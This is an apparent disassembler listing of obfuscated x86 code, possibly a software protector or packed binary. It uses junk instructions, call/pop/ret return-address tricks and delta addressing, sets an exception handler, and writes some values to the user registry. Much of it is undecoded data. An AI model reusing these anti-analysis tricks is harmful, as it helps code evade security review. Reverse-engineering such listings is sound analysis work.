sub_5B8F1B	proc near		; CODE XREF: sdfs____:005B8F0Bp

; FUNCTION CHUNK AT 005B9459 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 005B94C9 SIZE 00000038 BYTES

		movzx	edx, bx
		pop	ecx
		push	0C0000000h
		or	[ebp+7E91A85h],	edi
		push	dword ptr [ebp+7EC20E5h]
		mov	[ebp+7E91359h],	edi
		call	dword ptr [ebp+7E91C0Dh]
		pusha
		pusha
		stc
		popa
		mov	ebx, [ebp+7E918F9h]
		popa
		cmp	eax, 0FFFFFFFFh
		jnz	loc_5B9459
		add	[ebp+7E9218Dh],	ecx
		inc	dword ptr [ebp+7EC2B53h]
		push	0
		push	ebx
		call	sub_5B8F67
		and	[ebx-3Dh], bl
sub_5B8F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B8F67	proc near		; CODE XREF: sub_5B8F1B+44p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B8F67	endp

; ---------------------------------------------------------------------------
		db 0F2h
		dd 30933F8Fh, 9D31BCC1h, 7E919DDh, 658D0360h, 8907E92Fh
		dd 0E90FC995h, 0BD836107h, 7EC2B53h, 0A9840F02h, 51000003h
		dd 858D59FCh, 5B243Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0CBC35242h, 14E93106h, 73000000h, 395D2597h
		dd 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0FFB8403Eh, 1DF181D0h
		dd 8D229C89h, 5B1E8E85h, 0F9850900h, 0FF07E90Ah, 8B4BB5D0h
		dd 0A18D2BC0h, 8307E91Ch, 0E918A5BDh, 9750007h,	1A45BD83h
		dd 740007E9h, 8B535019h, 7D8B8C0h, 85890000h, 7E911F9h
		dd 0D7CE9D8Dh, 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h
		dd 7D8B853h, 85890000h,	7E911F9h, 0D4BD9D8Dh, 0D3FF07EBh
		dd 0D8BA585Bh, 0F534AD72h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E57DE5C3h
		dd 41858945h, 907E90Ch,	0E90FBDB5h, 3F6807h, 840F000Fh
		dd 6, 95B3E181h, 6A6DA2h, 5D9CB966h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0E2E81FC3h
		dd 6DC55923h, 0FFFA8B66h, 0E92EF195h, 8B536007h, 958B59C3h
		dd 7E90CE5h, 0E9816661h, 0C085F360h, 0D58529h, 858907E9h
		dd 7EC2069h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	86C35242h, 3155BD8Bh, 0FF6807E9h, 8B000F01h, 0E9092195h
		dd 5E907h, 0A530000h, 8322E85Fh, 0E921CDBDh, 840F0007h
		dd 11h,	20C6858Dh, 58E907ECh, 89000000h, 0E91F69BDh, 9C858D07h
		dd 6A07EC20h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0A720C351h, 65871D82h,	0CF81FD16h
		dd 617E4D1Dh, 5E960h, 3E870000h, 0E9120E2Fh, 12h, 41575E6Bh
		dd 815138C8h, 839B0BABh, 4DFA0D45h, 50613B82h, 0B5FFE88Ah
		dd 7EC2069h, 95FFD08Ah,	7EC2061h, 0ACD18166h, 2595319Bh
		dd 8907E90Bh, 0EC206D85h, 299D8907h, 0C707E934h, 0E92B4D85h
		dd 7, 0B5BD8B00h, 8307E922h, 0EC206DBDh, 840F0007h, 173h
		dd 2AC9958Bh, 858D07E9h, 7EC234Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 2BC35242h, 17398589h, 816607E9h
		dd 502B63D2h, 4890Fh, 0BA660000h, 16A164Ah, 0C4D952Bh
		dd 0B5FF07E9h, 7EC206Dh, 23BD8D89h, 95FF07E9h, 7EC2065h
		dd 7E8h, 7A811E00h, 3706E99Ah, 23BDB589h, 0FF5F07E9h, 0EC206DB5h
		dd 798D0B07h, 0FF07E919h, 0E90C5D95h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 6ECCA542h, 0FE96094h, 27000000h, 0DC79FDDFh,	896A0058h
		dd 0AC3E32A9h, 61F8CCEAh, 0F01FF68h, 80B96600h,	0CDBD83FBh
		dd 7E921h, 2D840Fh, 0B9600000h,	18F83A37h, 29F5B523h, 816107E9h
		dd 6B600E7h, 0C6858D1Ah, 0F507EC20h, 6E8h, 0B5F87900h
		dd 0F80897E0h, 0CE959h,	8DFC0000h, 0EC209C85h, 0ADBB907h
		dd 0B2507866h, 69B5FFE8h, 6A07EC20h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C30DC351h
		dd 69D3AE2Ch, 6195FF73h, 8B07EC20h, 6D8589C8h, 8B07EC20h
		dd 0E91D918Dh, 6DB5FF07h, 8B07EC20h, 0E9357195h, 5D95FF07h
		dd 0F07EC20h, 280h, 0FFD38B00h,	0EC206DB5h, 0A98D8B07h
		dd 0FF07E90Ch, 0E90C5D95h, 1DBD8907h, 0E907E922h, 0FFFFF6DCh
		dd 49DEB966h, 2BB6B5FFh, 0F68007ECh, 8595FFC6h,	107E922h
		dd 0E9106D85h, 8E807h, 5BA60000h, 0FC4A36F7h, 95035F57h
		dd 7E91181h, 59858B59h,	8007E91Ch, 3FE955EAh, 53000005h
		dd 8D5AC88Bh, 0EC236BB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 3B23E42Fh
		dd 31BD8B86h, 8D07E923h, 0EBD19D85h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 3E0FA26Dh
		dd 627F69E7h, 6AD0FF51h, 65BD8B00h, 0FF07E923h,	0E9138D95h
		dd 0D9B58907h, 8B07E92Eh, 0A9BD03F3h, 8D07E91Ch, 0EBD19D85h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0B7BF75A0h, 50C4D285h, 0BF66F2A7h, 95892A2Ch
		dd 7E91F4Dh, 0DE9D0FFh,	0A3000000h, 4442DD6Dh, 97E74C96h
		dd 0C8CA3C89h, 5E8006Ah, 0C2000000h, 0E9081207h, 8D95FF59h
		dd 8907E913h, 0E9137DB5h
; ---------------------------------------------------------------------------
		pop	es
; START	OF FUNCTION CHUNK FOR sub_5B8F1B


loc_5B9459:				; CODE XREF: sub_5B8F1B+2Fj
		mov	eax, eax
		mov	edx, [ebp+7E909A5h]
		cmp	dword ptr [ebp+7E918A5h], 0
		jnz	short loc_5B9473
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_5B948C


loc_5B9473:				; CODE XREF: sub_5B8F1B+54Dj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D9h
		mov	[ebp+7E911F9h],	eax
		lea	ebx, [ebp+7EBD7CEh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B948C:				; CODE XREF: sub_5B8F1B+556j
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_5B94AC
		push	eax
		push	ebx
		mov	eax, 7D9h
		mov	[ebp+7E911F9h],	eax
		lea	ebx, [ebp+7EBD4BDh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B94AC:				; CODE XREF: sub_5B8F1B+578j
		push	edi
		mov	di, si
		pop	edi
		jp	loc_5B94BD
		xor	ecx, 6708B3F0h


loc_5B94BD:				; CODE XREF: sub_5B8F1B+596j
		jmp	loc_5B94C9
; END OF FUNCTION CHUNK	FOR sub_5B8F1B
; ---------------------------------------------------------------------------
		dw 0F4BAh
		dd 267E44EAh
		db 0DAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B8F1B


loc_5B94C9:				; CODE XREF: sub_5B8F1B:loc_5B94BDj
		mov	eax, eax
		mov	[ebp+7E90ED1h],	ecx
		push	eax
		mov	di, 0FF8Fh
		mov	ebx, eax
		mov	cl, bl
		push	ebx
		lea	ebx, [ebp+7E92D59h]
		mov	eax, [ebx]
		mov	[ebx], eax
		mov	eax, [ebx+50h]
		mov	[ebx+50h], eax
		lea	ebx, [ebp+7EC2B4Fh]
		mov	eax, [ebx]
		mov	[ebx], eax
		pop	ebx
		push	0
		push	ebx
		call	sub_5B9501
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5B8F1B

; =============== S U B	R O U T	I N E =======================================



sub_5B9501	proc near		; CODE XREF: sub_5B8F1B+5DEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B9501	endp

; ---------------------------------------------------------------------------
		db 22h,	2 dup(61h)
		dd 12D040E6h, 0BD333C2Bh, 7E91171h, 7998509h, 8D8907E9h
		dd 7E90BDDh, 8D8B006Ah,	7E91B9Dh, 2B4F858Dh, 6A07ECh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0EF3C1CC3h, 0DC35B902h, 6650459Fh, 6AB931BAh, 9E960h
		dd 0DE2B0000h, 1F3710A5h, 8DF0A907h, 0E92D5985h, 0CFBF0F07h
		dd 958D8B50h, 6A07E92Fh, 59BD8B00h, 6607E921h, 6AD08Bh
		dd 0C366EEBFh, 18006863h, 958B0000h, 7E92AE5h, 34258D29h
		dd 0B5307E9h, 0E92039BDh, 0E195FF07h, 8907E91Fh, 0E92A0DB5h
		dd 3995FF07h, 8107E901h, 0D9A81CC7h, 0B6B5FF79h, 0E807EC2Bh
		dd 0Fh,	859F2E81h, 4B81F10Ah, 29093CF6h, 0FE49E61h, 28Fh
		dd 5FCB8A00h, 228595FFh, 13E907E9h, 28000000h, 0B408D7F1h
		dd 0EBFDB109h, 0CA30B62Ch, 62786264h, 858DC984h, 7E92D59h
		dd 0BB8EC981h, 0C2B65841h, 6018408Bh, 0E0D958Bh, 0FE807E9h
		dd 8D000000h, 9A90490Ah, 0A885B517h, 0F85C6390h, 860F69BEh
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		popa
		mov	dword ptr [ebp+7E92525h], 0
		push	0
		push	edi
		call	sub_5B964F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B964F	proc near		; CODE XREF: sdfs____:005B9647p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5B964F	endp

; ---------------------------------------------------------------------------
		db 0DFh
		dd 1524EB35h, 8312C076h, 0E921CDBDh, 840F0007h,	64h, 10E8h
		dd 7FEE3B00h, 26D11511h, 47671FBh, 1D713063h, 719D8934h
		dd 5F07E90Fh, 8C3Dh, 4B830F00h,	6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0B402C356h
		dd 69950B9Bh, 0E907E91Fh, 25h, 88D0Fh, 89560000h, 0E91C818Dh
		dd 0D2815F07h, 1594DEF0h, 983Dh, 3830F00h, 89000001h, 0E92E6D8Dh
		dd 3B858D07h, 0F005B24h, 0D0FFD0BFh, 858DD38Bh,	5B1E8Eh
		dd 6870Fh, 0BD8B0000h, 7E91FB1h, 0C08BD0FFh, 193D9589h
		dd 0BD8307E9h, 7E918A5h, 83097500h, 0E91A45BDh,	19740007h
		dd 0C08B5350h, 0BC6B8h,	0F9858900h, 8D07E911h, 0EBD7CE9Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h, 0BC6B8h, 0F9858900h
		dd 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 89D68B58h,	0E929C595h
		dd 9C08B07h, 0E90DA985h, 0FFF88307h, 20850Fh, 0E2800000h
		dd 0C185C7EDh, 7E902h, 0F5000000h, 10EE9h, 0DBD8B00h, 0E907E91Dh
		dd 47h,	0F883C88Bh, 3C850F01h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0F6A4C350h
		dd 18135DC7h, 9E8h, 927A4900h, 0CC05380Ch, 65B23FCEh, 0E8E95Fh
		dd 80520000h, 0E95FABCEh, 0FFFFF240h, 0E718D89h, 0C08B07E9h
		dd 5E953h, 0C6EF0000h, 59AD1B3Bh, 18A5BD83h, 750007E9h
		dd 45BD8309h, 7E91Ah, 53501974h, 0DDB8C08Bh, 89000007h
		dd 0E911F985h, 0CE9D8D07h, 0FF07EBD7h, 83585BD3h, 0E91A45BDh
		dd 17740007h, 0DDB85350h, 89000007h, 0E911F985h, 0BD9D8D07h
		dd 0FF07EBD4h, 89585BD3h, 0E90FEDB5h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8B8D4503h, 6D9D29C0h, 0E907E905h, 204h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6C35545h, 3A71F74Ch
		dd 0BF0F0F13h, 8D7CB2D3h, 0EC295385h, 8830F07h,	53000000h
		dd 820Fh, 895F0000h, 0EC2B4B85h, 858D8907h, 0E907E91Ah
		dd 1Ch,	858D3EB2h, 7EC275Bh, 8166D78Bh,	406051D9h, 2B4B8589h
		dd 9D8907ECh, 7E92B61h,	858D346Ah, 7E90FF1h, 4BB5FF50h
		dd 6A07EC2Bh, 0C595FF00h, 8307E918h, 840F07F8h,	168h, 0F6DB8C66h
		dd 850F04C3h, 102h, 265985C6h, 685607E9h, 9CA8B852h, 2669B5FFh
		dd 858D07E9h, 7E93ABCh,	46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
		dd 0EC2BBE85h, 5985C607h, 4707E926h, 18AC9B68h,	69B5FFECh
		dd 8D07E926h, 0E93ABC85h, 0FFD0FF07h, 0C6F08BD0h, 0E9265985h
		dd 61684F07h, 0FFC62F26h, 0E9347DB5h, 0BC858D07h, 0FF07E93Ah
		dd 0BA9D8DD0h, 5307EC2Bh, 0FF56286Ah, 75C085D0h, 5985C600h
		dd 4107E926h, 87649868h, 7DB5FFDBh, 8D07E934h, 0E93ABC85h
		dd 89D0FF07h, 0EC2BD785h, 5985C607h, 4C07E926h,	0A4E7A468h
		dd 7DB5FF80h, 8D07E934h, 0E93ABC85h, 8BD0FF07h,	0EC2BBE9Dh
		dd 45B8D07h, 0C39D8D53h, 5307EC2Bh, 0D0FF006Ah,	2BBE9D8Bh
		dd 3C707ECh, 1,	20C43C7h, 8B000000h, 0E921099Dh, 0C185C707h
		dd 7E912h, 6A000000h, 6A006A00h, 0BE9D8B00h, 5307EC2Bh
		dd 0B5FF006Ah, 7EC2BBAh, 2BD795FFh, 85C607ECh, 7E92659h
		dd 0F7976845h, 0B5FF92A5h, 7E916B5h, 3ABC858Dh,	0D0FF07E9h
		dd 26A006Ah, 8C66D0FFh,	4C3F6DBh, 9D8B3275h, 7EC2BBEh
		dd 0C43C7h, 6A000000h, 8B006A00h, 0EC2BBE9Dh, 6A5307h
		dd 2BBAB5FFh, 95FF07ECh, 7EC2BD7h, 2BBAB5FFh, 95FF07ECh
		dd 7E90139h, 95FF006Ah,	7E9138Dh, 2665BD89h, 8D8907E9h
		dd 7E91991h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B7EEC


loc_5B9A74:				; CODE XREF: sub_5B7EEC+A6j
					; sdfs____:loc_5B8159j	...
		lea	eax, [ebp+7EC5E23h]
		mov	[ebp+7E9300Dh],	ecx
		push	eax
		clc
		push	large dword ptr	fs:0
		or	[ebp+7E90A79h],	esi
		mov	large fs:0, esp
		push	0
		push	esi
		call	sub_5B9AA1
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5B7EEC

; =============== S U B	R O U T	I N E =======================================



sub_5B9AA1	proc near		; CODE XREF: sub_5B7EEC+1BADp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5B9AA1	endp

; ---------------------------------------------------------------------------
		mov	ecx, 0C0C9CB43h
		movzx	edi, dx
		mov	cx, si
		cmp	dword ptr [ebp+7E92EB5h], 0
		jz	loc_5B9B1F
		push	0
		push	ebp
		call	sub_5B9AD4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9AD4	proc near		; CODE XREF: sdfs____:005B9ACCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5B9AD4	endp

; ---------------------------------------------------------------------------
		dd 0AFF823B3h, 83DB4349h, 0E91B69BDh, 850F0107h, 27h, 735B589h
		dd 0BD8B07E9h, 7E9258Dh, 2FD7BD80h, 0F0007ECh, 0E85h, 0CD94B900h
		dd 99E90FF6h, 66000001h
		db 0BAh, 60h, 0DEh
; ---------------------------------------------------------------------------


loc_5B9B1F:				; CODE XREF: sdfs____:005B9AC3j
		xor	ebx, ebx
		mov	ecx, [ebp+7E925E9h]
		xor	eax, eax
		push	0
		push	ecx
		call	sub_5B9B34
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9B34	proc near		; CODE XREF: sdfs____:005B9B2Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5B9B34	endp

; ---------------------------------------------------------------------------
		dd 0EFE802D6h, 4AB4735Eh, 11E982h, 68C00000h, 3AF970EAh
		dd 0F5B3A6CBh, 8DF97D91h, 40177E17h, 0B073F0Fh,	58F64h
		dd 83000000h, 6A04C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0CF6B0CC3h, 8927C437h, 0E915D995h
		dd 0FFFB8307h, 17840Fh,	0CA810000h, 39022C6Ch, 729BD2Bh
		dd 0F7E907E9h, 8B000000h, 0E90DF1BDh, 82E907h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0A70902C3h, 244C8B65h, 0A481C70Ch, 0FF000000h, 83FFFFFFh
		dd 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h
		dd 5E45ED81h, 838B07ECh, 0B8h, 5EFA858Dh, 838907ECh, 0B8h
		dd 0C3C0335Dh, 2F519589h, 8F0F07E9h, 6,	0F3BBD781h, 0E18167B3h
		dd 71C5970Bh, 68D0Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
		lea	eax, [ebp+7EC5E3Bh]
		push	0
		push	ebp
		call	sub_5B9C51
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9C51	proc near		; CODE XREF: sdfs____:005B9C49p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B9C51	endp

; ---------------------------------------------------------------------------
		db 4Fh,	0B4h, 0B6h
		dd 0DA5B6BA8h, 8050E887h, 0FF64A2D2h, 35h, 0D18D8B00h
		dd 6407E923h, 2589h, 0AB90000h,	0B8000000h, 4855D704h
		dd 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh
		dd 0FB81ED00h, 564D5868h, 85C70A75h, 7E91615h, 1, 58F64h
		dd 83000000h, 0F78A04C4h, 14E9C08Bh, 69000000h,	0F4435427h
		dd 0C93F053Dh, 0AD262B8Ch, 0C9ABEF1Bh, 83768860h, 0E918A5BDh
		dd 9750007h, 1A45BD83h,	740007E9h, 8B535019h, 43DB8C0h
		dd 85890000h, 7E920F5h,	0D8359D8Dh, 0D3FF07EBh,	0BD83585Bh
		dd 7E91A45h, 50177400h,	43DB853h, 85890000h, 7E920F5h
		dd 0D4D69D8Dh, 0D3FF07EBh, 8B66585Bh, 0A1958BD3h, 8B07E919h
		dd 147E9C0h, 40000h, 2E310000h,	303139h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E9077Dh], 0
		jz	loc_5B9FB7
		lea	eax, [ebp+7EBD2EDh]
		push	eax
		lea	eax, [ebp+7EBD257h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7EBD2FDh]
		lea	eax, [ebp+7EC5F7Ch]
		push	eax
		lea	eax, [ebp+7EC5F86h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7EBD26Bh]
		push	eax
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E91D8Dh]
		lea	eax, [ebp+7EC5F7Ch]
		push	eax
		lea	eax, [ebp+7EC5F8Ah]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7EBD27Dh]
		push	eax
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E91D8Dh]
		lea	eax, [ebp+7EC5F7Ch]
		push	eax
		lea	eax, [ebp+7EC5F96h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7EBD2CAh]
		push	eax
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E91D8Dh]
		lea	eax, [ebp+7EC5F7Ch]
		push	eax
		lea	eax, [ebp+7EC5F9Eh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7EBD2E8h]
		push	eax
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E91D8Dh]
		lea	eax, [ebp+7EC5F7Ch]
		push	eax
		lea	eax, [ebp+7EC5F9Ah]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7EBD2D1h]
		push	eax
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E91D8Dh]
		lea	eax, [ebp+7EC5F7Ch]
		push	eax
		lea	eax, [ebp+7EC5F8Eh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7EBD2D9h]
		push	eax
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E91D8Dh]
		lea	eax, [ebp+7EC5F7Ch]
		push	eax
		lea	eax, [ebp+7EC5F92h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7EBD2E0h]
		push	eax
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E91D8Dh]
		push	dword ptr [ebp+7EBD2EDh]
		call	dword ptr [ebp+7E92CBDh]
		jmp	loc_5BA059
; ---------------------------------------------------------------------------


loc_5B9FB7:				; CODE XREF: sdfs____:005B9E84j
		cmp	dword ptr [ebp+7E9116Dh], 0
		jz	loc_5BA059
		cmp	dword ptr [ebp+7E91B69h], 0
		jnz	loc_5B9FE2
		mov	edx, [ebp+7E90905h]
		add	edx, 1CF8h
		jmp	loc_5B9FF1
; ---------------------------------------------------------------------------


loc_5B9FE2:				; CODE XREF: sdfs____:005B9FCBj
		lea	edx, [ebp+7E92D59h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_5B9FF1:				; CODE XREF: sdfs____:005B9FDDj
		mov	[ebp+7E91A75h],	edx
		cmp	dword ptr [ebp+7E91A75h], 0
		jz	loc_5BA059
		mov	ebx, [ebp+7E91A75h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+7EC5F86h],	eax
		mov	ebx, [ebp+7E91A75h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+7EC5F8Ah],	eax
		mov	ebx, [ebp+7E91A75h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+7EC5F96h],	eax
		mov	ebx, [ebp+7E91A75h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+7EC5F9Ah],	eax
		mov	ebx, [ebp+7E91A75h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+7EC5F8Eh],	eax


loc_5BA059:				; CODE XREF: sdfs____:005B9FB2j
					; sdfs____:005B9FBEj ...
		cmp	dword ptr [ebp+7E9077Dh], 0
		jnz	loc_5BA073
		cmp	dword ptr [ebp+7E9116Dh], 0
		jz	loc_5BA0DB


loc_5BA073:				; CODE XREF: sdfs____:005BA060j
		push	dword ptr [ebp+7EC5F9Eh]
		push	dword ptr [ebp+7EC5F92h]
		push	dword ptr [ebp+7EC5F8Eh]
		push	dword ptr [ebp+7EC5F9Ah]
		push	dword ptr [ebp+7EC5F96h]
		push	dword ptr [ebp+7EC5F8Ah]
		push	dword ptr [ebp+7EC5F86h]
		lea	eax, [ebp+7EC5F80h]
		push	eax
		lea	eax, [ebp+7EC5FB8h]
		push	eax
		lea	eax, [ebp+7E90349h]
		push	eax
		call	dword ptr [ebp+7E90AD5h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+7EC5FA2h]
		push	eax
		lea	eax, [ebp+7E90349h]
		push	eax
		push	0
		call	dword ptr [ebp+7E918C5h]
		push	1
		call	dword ptr [ebp+7E9138Dh]


loc_5BA0DB:				; CODE XREF: sdfs____:005BA06Dj
		mov	eax, ecx
		pusha
		cld
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5BA0EC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA0EC	proc near		; CODE XREF: sdfs____:005BA0E4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5BA0EC	endp

; ---------------------------------------------------------------------------
		dd 0B03349BFh, 0B7D08BD3h, 4810Fh, 0B9660000h, 0BD834520h
		dd 7E918A5h, 83097500h,	0E91A45BDh, 19740007h, 0C08B5350h
		dd 40EB8h, 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h
		dd 45BD8358h, 7E91Ah, 53501774h, 40EB8h, 0F9858900h, 8D07E911h
		dd 0EBD4BD9Dh, 5BD3FF07h, 0EE858h, 25E30000h, 88234311h
		dd 42DD6DA3h, 0E74C9644h, 890F60h, 0E8000000h, 0Eh, 491EA6Bh
		dd 47CFFB84h, 9E1995FEh, 61592DECh, 53006A59h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0ABF6A0E6h
		dd 0C08B1106h, 5E86060h, 9000000h, 57994A95h, 0F8BF0F59h
		dd 13E961h, 6FAF0000h, 1C91520Eh, 0E80E25BEh, 0C4977CCBh
		dd 8361F407h, 0BD83614Bh, 7E92EB5h, 2D840F00h, 0E9000000h
		dd 6, 0DAFAA8AFh, 0C1815C00h, 22818299h, 20DE9h, 6E800h
		dd 79480000h, 2E7DE471h, 6FACEA81h, 665E537Eh, 703F181h
		dd 8B60DF8Ch, 3820FC2h,	80000000h, 66616BD2h, 4C7F7h, 1DC850Fh
		dd 81560000h, 0A2F418DEh, 0BD835E0Ch, 7E921CDh,	38850F00h
		dd 80000000h, 0DE955D5h, 0BB000000h, 8504409Ah,	4ED34501h
		dd 0EAF50205h, 1ADE9h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 2BF9F874h, 5E9FFh, 0A7C20000h
		dd 8DF91DD4h, 0EC65C79Dh, 0DE85707h, 95000000h,	7F960953h
		dd 29371A09h, 0D77ED777h, 12E8h, 752B1100h, 0A8B7ECC8h
		dd 0A1C429D2h, 0E11D4C94h, 59FB3214h, 8B935A5Ah, 595050CBh
		dd 10E893h, 26990000h, 5BC075B3h, 0A8F78D59h, 1FA71312h
		dd 3FB9E5B7h, 5E7AD006h, 0FF641CB1h, 35h, 64C6B100h, 2589h
		dd 0BE660000h, 8E9B34Eh, 71000000h, 609B8ACEh, 8B64696Ah
		dd 0B7BE66C4h, 0EB01CD9Ah, 8A57F800h, 8F645ACCh, 5, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F3980F4h, 8Ah, 4C48300h, 0C00BCB8Bh, 0C4840Fh, 0FBBA0000h
		dd 61477E07h, 6E9h, 59E76E00h, 8064FC31h, 0BD8DDBE5h, 7E96E15h
		dd 0B8CE8B66h, 1, 0FFFAD180h, 13E9E7h, 0F49B0000h, 50146F55h
		dd 9B735357h, 0A5EF35ABh, 0B8441CD7h, 5C8B577Fh, 838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
		dd 6AC3C033h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 624CC351h, 65C2BE66h, 86DDB966h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 97C35747h
		dd 0E8CA3C89h, 0Dh, 863ECCD5h, 2915B93Ch, 0DA2A9865h, 6890F50h
		dd 81000000h, 32833CF2h, 6A615A7Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B46C351h
